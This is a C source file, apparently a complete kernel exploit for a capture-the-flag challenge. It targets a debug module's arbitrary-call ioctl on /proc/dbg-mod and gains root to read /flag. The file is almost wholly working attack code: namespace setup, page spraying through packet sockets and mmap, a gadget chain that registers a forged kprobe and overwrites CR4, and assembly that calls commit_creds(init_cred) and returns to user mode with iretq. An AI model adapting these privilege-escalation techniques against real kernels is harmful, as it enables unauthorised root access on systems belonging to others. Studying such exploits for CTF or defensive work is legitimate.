#define _GNU_SOURCE
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <malloc.h>
#include <x86intrin.h>
#include <inttypes.h>
#include <memory.h>
#include <stdlib.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>

typedef uint64_t u64;
typedef uint32_t u32;
typedef uint16_t u16;
typedef uint8_t  u8;

typedef int64_t i64;
typedef int32_t i32;
typedef int16_t i16;
typedef int8_t  i8;

// Control flow returns here
void from_kernel() {
    int uid = getuid();
    char flag[0x20] = {0};
    int flag_fd = open("/flag", O_RDONLY);
    read(flag_fd, flag, sizeof(flag));
    write(1, flag, sizeof(flag));

    while (1) {}
}

unsigned long user_rip = (unsigned long)from_kernel;
unsigned long user_cs, user_ss, user_sp, user_rflags;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

void escalate_privs(void){
    __asm__(
        ".intel_syntax noprefix;"
        "cli;"
        "mov rdi, 0xffffffff8328c7e0;" // init_cred
	    "mov rax, 0xffffffff81139b20;" // commit_creds
	    "call rax;"
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}

struct arb_call_req {
    uint64_t pc;
    uint64_t a0;
    uint64_t a1;
};

struct hlist_node {
	struct hlist_node *        next;                 /*     0     8 */
	struct hlist_node * *      pprev;                /*     8     8 */
};

struct list_head {
	struct list_head *         next;                 /*     0     8 */
	struct list_head *         prev;                 /*     8     8 */
};

struct kprobe {
	struct hlist_node          hlist;
	struct list_head           list;
	long unsigned int          nmissed;
	void *                     addr;
	const char  *              symbol_name;
	unsigned int               offset;
	void *                     pre_handler;
	void *                     post_handler;
	void *                     opcode;
	u8                         ainsn[32];
	u32                        flags;
};

struct pc_arg {
    u64 a0;
    u64 pc;
};

struct nperm_payload {
    struct kprobe kp;
    struct pc_arg pa1;
    struct pc_arg pa2;
};

#define INITIAL_PG_VEC_SPRAY        0x200
typedef struct pgv_frame{
    int fd;
    char * mapped;
    size_t size;
}pgvFrame;
pgvFrame pgv[INITIAL_PG_VEC_SPRAY] = {};

u64 _pgv_sock(u64 size, u64 n)
{
    struct tpacket_req req;
    u32 socketfd, version;
    socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    assert(socketfd>0);

    version = TPACKET_V1;

    assert(setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) >= 0);

    assert(size % 4096 == 0);

    memset(&req, 0, sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = n;
    req.tp_frame_size = 0x1000;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
    assert(setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) >= 0);
    return socketfd;
}

pgvFrame pgvL[0x200] = {};

#define PAYLOAD_SPRAY_PAGES 0x10000
#define PAGE_SIZE 0x1000
#define TOTAL_ALLOCATION (PAGE_SIZE * PAYLOAD_SPRAY_PAGES)

void pgvAdd(size_t idx, size_t order, size_t nr){
    assert(idx<sizeof(pgvL)/sizeof(pgvL[0]));
    pgvL[idx].fd = _pgv_sock(PAGE_SIZE * (1<<order), nr);
    assert(pgvL[idx].fd > 0);
    pgvL[idx].size = PAGE_SIZE * (1<<order) * nr ;
}
void pgvDel(size_t idx){
    assert(idx<sizeof(pgvL)/sizeof(pgvL[0]));
    assert(close(pgvL[idx].fd)==0);
    memset(&pgvL[idx],0,sizeof(pgvFrame));
}

void nperm(void *payload, u64 payload_sz){
    // Drain memory to increase chance of getting pages from the target regions.
    pgvAdd(1, 9, 0x610);
    for(int i = 0; i < PAYLOAD_SPRAY_PAGES; i++){
        void* addr = mmap(NULL, PAGE_SIZE, 0x6, 0x21, -1, 0);
        if(addr == MAP_FAILED)
            break;
        memcpy(addr, payload, payload_sz); // Spray payload
    }
    pgvDel(1); // Release the memory
}

void sandbox() {
    uid_t uid = getuid();
    gid_t gid = getgid();
    int temp;
    char edit[0x100];
    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);

    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);

    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);

    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);
    return;
}

int main(int argc, char **argv) {
    struct arb_call_req req;
    u64 kaslr_base = 0xffffffff81000000;
    u32 dbg = open("/proc/dbg-mod", 2);

    sandbox();
    save_state();

    u64 nperm_addr_guess = 0xffffffff84c11000;
    struct nperm_payload payload = {
        .kp = {
            .addr = (void *)0xffffffff8107220e,
            .pre_handler = escalate_privs,
            .post_handler = (void *)0xdeadbeefcafeb0ba,
        },
        .pa1 = {
            .pc = 0xffffffff812542d0, // register_kprobe
            .a0 = nperm_addr_guess,
        },
        .pa2 = {
            .pc = 0xffffffff81072200, // native_write_cr4
            .a0 = 0x450ef0, // PKE OSXSAVE FSGSBASE UMIP OSXMMEXCPT OSFXSR PGE MCE PAE PSE
        },
    };

    nperm(&payload, sizeof(payload));

    // https://elixir.bootlin.com/linux/v6.18/source/drivers/base/devres.c#L728
    // ...
    // <devm_action_release+0x5>   mov    rdi, QWORD PTR [rsi]
    // <devm_action_release+0x8>   mov    rax, QWORD PTR [rsi + 0x8]
    // <devm_action_release+0xc>   push   rbp
    // <devm_action_release+0xd>   mov    rbp, rsp
    // <devm_action_release+0x10>  call   rax
    u64 devm_action_release = 0xffffffff81b24770;

    req.pc = devm_action_release;
    req.a0 = 0xdeadbeef;
    req.a1 = nperm_addr_guess + offsetof(struct nperm_payload, pa1);
    ioctl(dbg, 1337, &req);

    req.pc = devm_action_release;
    req.a0 = 0xdeadbeef;
    req.a1 = nperm_addr_guess + offsetof(struct nperm_payload, pa2);
    ioctl(dbg, 1337, &req);

    // Control flow continues in from_kernel()

    return 0;
}